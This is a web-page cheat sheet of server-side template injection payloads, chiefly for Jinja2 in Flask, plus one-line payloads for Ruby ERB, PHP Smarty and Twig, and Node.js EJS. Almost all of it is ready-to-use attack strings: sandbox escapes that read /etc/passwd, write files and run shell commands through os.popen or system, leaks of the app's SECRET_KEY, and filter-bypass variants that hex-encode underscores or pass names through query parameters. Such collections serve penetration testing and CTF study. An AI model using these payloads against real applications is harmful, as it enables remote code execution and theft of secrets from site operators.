Skip to content

SSTI

  • Identify Template Engine

  • Jinja2

    Flask default template engine (doc)
    Exploiting Jinja SSTI with limited payload size.
    GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2
    RCE-bypassing-as-much-as-I-possibly-can
    On SSTI & bypass of jinja2
    Builtin Filters

    • Get os
      • {{lipsum.__globals__.os}}
      • {{cycler.__init__.__globals__.os}}
    • Load os
      • {{config.from_object('os')}}
    • {{ config }}
      • config.SECRET_KEY
      • config.from_pyfile(filename)
    • {{ request }}
      • request.args.name
      • request.cookies.name
      • request.headers.name
      • request.values.name
      • request.form.name
    • sandbox bypass

      #All the below payloads works under python2
      --------------------------------------------
      
      #Starting from string or list
      {{ ''.__class__.__base__ }}
      
      #File operation
      {{ ''.__class__.__mro__[2].__subclasses__() }}
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt').write('test') }}
      
      #RCE
      {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() }}
      > uid=1000(ubuntu)gid=1000(ubuntu)...
      
      #All the below payloads works under python3
      --------------------------------------------
      {{ ().__class__.__base__.__subclasses__() }}
      {{ ().__class__.__base__.__subclasses__()[132] }} #<class 'os._wrap_close'>
      {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__ }}
      {{ ().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('id') }}
      
      #Find eval
      {% for c in [].__class__.__base__.__subclasses__(): %}
        {% if c.__name__ == 'catch_warnings': %}
          {% for b in c.__init__.__globals__.values(): %}
            {% if b.__class__ == {}.__class__ %}
              {% if 'eval' in b.keys(): %}
                {{ b['eval']('__import__("os").popen("id").read()') }}
              {% endif %}
            {% endif %}
          {% endfor %}
        {% endif %}
      {% endfor %}
      
      #Import
      {% for x in ().__class__.__base__.__subclasses__() %}
        {% if "warning" in x.__name__ %}
          {{x()._module.__builtins__["__import__"]("os").popen(request.args.payload).read()}}
        {% endif %}
      {% endfor %}
      
    • Bypass

      • .

        /?ssti={{libsum['__globals__']['os']}}
        
      • . _

        /?ssti={{lipsum['\x5f\x5fglobals\x5f\x5f']['os']}}
        
      • . _ [ ]

        /?ssti={{lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os')}}
        
      • . _ [ ] |

        /?ssti={{getattr(getattr(lipsum,'\x5f\x5fglobals\x5f\x5f'), 'os')}}
        
      • . _ [ ] {{ }}

        /?ssti={%if lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('os') %}{%endif%}
        
      • length or other special characters (' ")

        /?ssti={{lipsum[request.args.param1][request.args.param2]}}&param1=__globals__&param2=os
        
        /?ssti={{config.update(payload=request.args.param1)}}&param1=ls
        /?ssti={{lipsum.__globals__.os.popen(config.payload)}}
        
  • Ruby erb

    • <%= system('id') %>
  • PHP Smarty
    • { system('id') }
  • PHP Twig
    • {{ ['id'] | filter('system') }}
  • Node.js ejs
    • <%= global.process.mainModule.require("child_process").execSync("id").toString() %>
  • Format String Attack